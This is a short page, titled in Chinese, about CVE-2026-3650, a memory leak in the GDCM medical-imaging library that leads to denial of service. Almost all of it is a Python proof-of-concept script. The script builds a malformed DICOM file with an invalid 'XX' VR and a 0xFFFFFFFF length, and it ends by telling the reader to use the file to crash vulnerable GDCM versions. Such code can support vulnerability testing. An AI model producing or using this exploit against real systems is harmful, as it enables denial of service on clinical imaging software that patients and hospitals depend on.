CVE-2026-3650：GDCM内存泄漏致拒绝服务

import struct # PoC script to generate a malformed DICOM file targeting CVE-2026-3650 # This script creates a DICOM file with a non-standard VR in the meta information # to trigger the memory leak in GDCM. def generate_malformed_dicom(filename): with open(filename, 'wb') as f: # 1. Write Preamble (128 bytes of zeros) f.write(b'\x00' * 128) # 2. Write DICM Prefix f.write(b'DICM') # 3. Write Meta Element Group Length (Tag 0002,0000) # VR is 'UL' (Unsigned Long), Length is 4 bytes f.write(b'\x02\x00') # Group f.write(b'\x00\x00') # Element f.write(b'UL') # VR f.write(b'\x00\x00') # Reserved f.write(b'\x04\x00\x00\x00') # Length (4) # Value: Length of meta info (arbitrary for PoC) f.write(struct.pack('<I', 100)) # 4. Write a Malformed Element (e.g., Transfer Syntax UID 0002,0010) # Standard VR is 'UI' (2 bytes). # We will use a non-standard VR 'XX' to trigger the parsing bug. f.write(b'\x02\x00') # Group f.write(b'\x10\x00') # Element # Malformed VR: 'XX' instead of 'UI' f.write(b'XX') f.write(b'\x00\x00') # Reserved # Length: Set a large length to force allocation f.write(b'\xFF\xFF\xFF\xFF') if __name__ == "__main__": print("Generating malformed DICOM file: gdcm_crash.dcm") generate_malformed_dicom('gdcm_crash.dcm') print("Done. Use this file to crash the vulnerable GDCM version.")